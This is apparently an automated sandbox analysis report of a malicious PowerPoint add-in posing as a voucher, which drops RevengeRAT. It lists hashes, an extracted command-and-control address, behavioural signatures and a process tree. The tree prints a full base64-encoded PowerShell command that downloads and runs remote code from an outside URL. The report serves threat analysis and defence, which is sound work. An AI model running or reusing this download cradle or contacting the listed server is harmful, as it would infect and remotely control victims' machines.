Analysis
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max time kernel
121s -
max time network
140s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
26-08-2024 09:31
Static task
static1
Behavioral task
behavioral1
Sample
26082024_0931_NF 7867-Voucher.ppam
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
26082024_0931_NF 7867-Voucher.ppam
Resource
win10v2004-20240802-en
General
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Target
26082024_0931_NF 7867-Voucher.ppam
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Size
26KB
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MD5
3795f414fbb682f1057af0812cae8a71
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SHA1
8efdfd15634e16922a06a7e33646a57728fd9e64
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SHA256
9e28142248bbb95bf6c66e1b53b080a72e51bdc2072741b401a4450dd51644ab
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SHA512
3437cabf703b2ab55121c9112caa02640385ded13630239d0f392e68dd37a9d9437750434ad35f86f7c98da6ee4577b881b8d2bcd8965e9c5eb2e92289ab340a
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SSDEEP
384:dXPZzJt2FTlJFNahWgNjCiUDwvRge0BX/Bht5EopLiQKyOsBybZlzU+Oi:VPZ1t29lJFNKXNeiqe0N/d5Dp3KugSi
Malware Config
Extracted
revengerat
NyanCatRevenge
18.228.165.84:3333
788bf014999d4ae8929
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process 2864 1956 powershell.exe 29 -
RevengeRAT
Remote-access trojan with a wide range of capabilities.
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Blocklisted process makes network request 1 IoCs
flow pid Process 5 2864 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2864 set thread context of 2584 2864 powershell.exe 33 -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language POWERPNT.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegSvcs.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RegSvcs.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 RegSvcs.exe -
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080} POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346F-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D6-5A91-11CF-8700-00AA0060263B}\ = "Designs" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D7-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DB-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E2-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6E-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493486-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DD-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A79-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348D-5A91-11CF-8700-00AA0060263B}\ = "ActionSetting" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E7-5A91-11CF-8700-00AA0060263B}\ = "ScaleEffect" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F0-5A91-11CF-8700-00AA0060263B}\ = "FilterEffect" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F5-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5C-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "ChartFormat" POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493480-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493495-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A67-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "ErrorBars" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DD-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DE-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7B-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E556-4FF5-48F4-8215-5505F990966F} POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D} POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493458-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493465-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7B-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493462-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493484-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E5-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EC-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5B-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A60-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "Corners" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493470-5A91-11CF-8700-00AA0060263B}\ = "RGBColor" POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345E-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493494-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CD-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A78-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347F-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493499-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493477-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F6-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A58-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "ChartArea" POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493490-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CB-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F9-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A61-F07E-4CA4-AF6F-BEF486AA4E6F} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493476-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347D-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger" POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493465-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DE-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E552-4FF5-48F4-8215-5505F990966F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10" POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493494-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents" POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents" POWERPNT.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1956 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2864 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2864 powershell.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 1956 wrote to memory of 2552 1956 POWERPNT.EXE 30 PID 1956 wrote to memory of 2552 1956 POWERPNT.EXE 30 PID 1956 wrote to memory of 2552 1956 POWERPNT.EXE 30 PID 1956 wrote to memory of 2552 1956 POWERPNT.EXE 30 PID 1956 wrote to memory of 2864 1956 POWERPNT.EXE 31 PID 1956 wrote to memory of 2864 1956 POWERPNT.EXE 31 PID 1956 wrote to memory of 2864 1956 POWERPNT.EXE 31 PID 1956 wrote to memory of 2864 1956 POWERPNT.EXE 31 PID 2864 wrote to memory of 2584 2864 powershell.exe 33 PID 2864 wrote to memory of 2584 2864 powershell.exe 33 PID 2864 wrote to memory of 2584 2864 powershell.exe 33 PID 2864 wrote to memory of 2584 2864 powershell.exe 33 PID 2864 wrote to memory of 2584 2864 powershell.exe 33 PID 2864 wrote to memory of 2584 2864 powershell.exe 33 PID 2864 wrote to memory of 2584 2864 powershell.exe 33 PID 2864 wrote to memory of 2584 2864 powershell.exe 33 PID 2864 wrote to memory of 2584 2864 powershell.exe 33 PID 2864 wrote to memory of 2584 2864 powershell.exe 33 PID 2864 wrote to memory of 2584 2864 powershell.exe 33 PID 2864 wrote to memory of 2584 2864 powershell.exe 33
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\26082024_0931_NF 7867-Voucher.ppam"1⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:1956 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2552
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2864 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
PID:2584
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